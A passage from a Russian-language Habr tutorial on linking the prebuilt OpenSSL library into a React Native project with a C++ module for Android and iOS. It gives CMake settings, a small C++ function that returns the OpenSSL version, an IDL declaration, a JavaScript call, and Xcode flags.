moduleName:@"rncpp"
initialProperties: nil];
...
}
```
Теперь запустим наше приложение на iOS. (картинка кликабельна)
[](https://habrastorage.org/webt/pz/lm/fc/pzlmfc65__a1eomgafobtt1z87y.png)
Приложение работает!
#### Добавление библиотеки C++ библиотеки в наш проект.
Для примера используем популярную библиотеку OpenSSL.
И начнем с Android.
Клонируем [репозиторий](https://github.com/emileb/OpenSSL-for-Android-Prebuilt) с уже собранной библиотекой OpenSSL для Android.
Включим в файл CMakeLists.txt библиотеку OpenSSL:
```
....
SET(OPENSSL_ROOT_DIR /Users/andreysaleba/projects/OpenSSL-for-Android-Prebuilt/openssl-1.0.2)
SET(OPENSSL_LIBRARIES_DIR "${OPENSSL_ROOT_DIR}/${ANDROID_ABI}/lib")
SET(OPENSSL_INCLUDE_DIR ${OPENSSL_ROOT_DIR}/include)
SET(OPENSSL_LIBRARIES "ssl" "crypto")
...
LINK_DIRECTORIES(${OPENSSL_LIBRARIES_DIR} ${ZLIB_LIBRARIES_DIR})
include_directories(
"${SUPPORT_LIB_ROOT}/cpp"
"${SUPPORT_LIB_ROOT}/jni"
"${PROJECT_ROOT}/cpp"
"${PROJECT_ROOT}/cpp/gen"
"${OPENSSL_INCLUDE_DIR}"
)
add_library(libssl STATIC IMPORTED)
add_library(libcrypto STATIC IMPORTED)
...
set_target_properties( libssl PROPERTIES IMPORTED_LOCATION
${OPENSSL_LIBRARIES_DIR}/libssl.a )
set_target_properties( libcrypto PROPERTIES IMPORTED_LOCATION
${OPENSSL_LIBRARIES_DIR}/libcrypto.a )
target_link_libraries(native-lib PRIVATE libssl libcrypto)
```
Затем добавим в наш С++ модуль код простой функции, возвращающий версию библиотеки OpenSSL.
В файл *react-native-cpp/cpp/DemoModuleImpl.hpp* добавим:
```
void getOpenSSLVersion(const std::shared_ptr<::JavascriptPromise> & promise) override;
```
В файл *react-native-cpp/cpp/DemoModuleImpl.cpp* добавим:
```
#include
...
void DemoModuleImpl::getOpenSSLVersion(const std::shared\_ptr<::JavascriptPromise> &promise) {
promise->resolveString(SSLeay\_version(1));
}
```
Осталось описать интерфейс новой функции в idl-файле *`react-native-cpp-support/idl/main.djinni`*:
```
getOpenSSLVersion(promise: JavascriptPromise);
```
Вызываем скрипт *`generate\_wrappers.sh`* из папки *`react-native-cpp-support/idl/`*.
Затем в JavaScript вызываем только что созданную функцию:
```
async promiseTest() {
...
this.appendLine("openSSL version: " + await DemoModule.getOpenSSLVersion());
}
```
Для Android все готово.
Перейдем к iOS.
Клонируем [репозиторий](https://github.com/sinofool/build-openssl-ios) с собранной версией библиотеки OpenSSL для iOS.
Открываем iOS проект в XCode и в настройках в табе Build Settings добавляем путь к библиотеке openssl в поле Other C Flags (пример пути на моем компьютере ниже):
*-I/Users/andreysaleba/projects/prebuilt-openssl/dist/openssl-1.0.2d-ios/include*
В поле Other Linker Flags добавляем следующие строки:
```
-L/Users/andreysaleba/projects/prebuilt-openssl/dist/openssl-1.0.2d-ios/lib
-lcrypto
-lssl
```
Все готово. Библиотека OpenSSL добавлена для обеих платформ.
Спасибо за просмотр! | https://habr.com/ru/post/439676/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.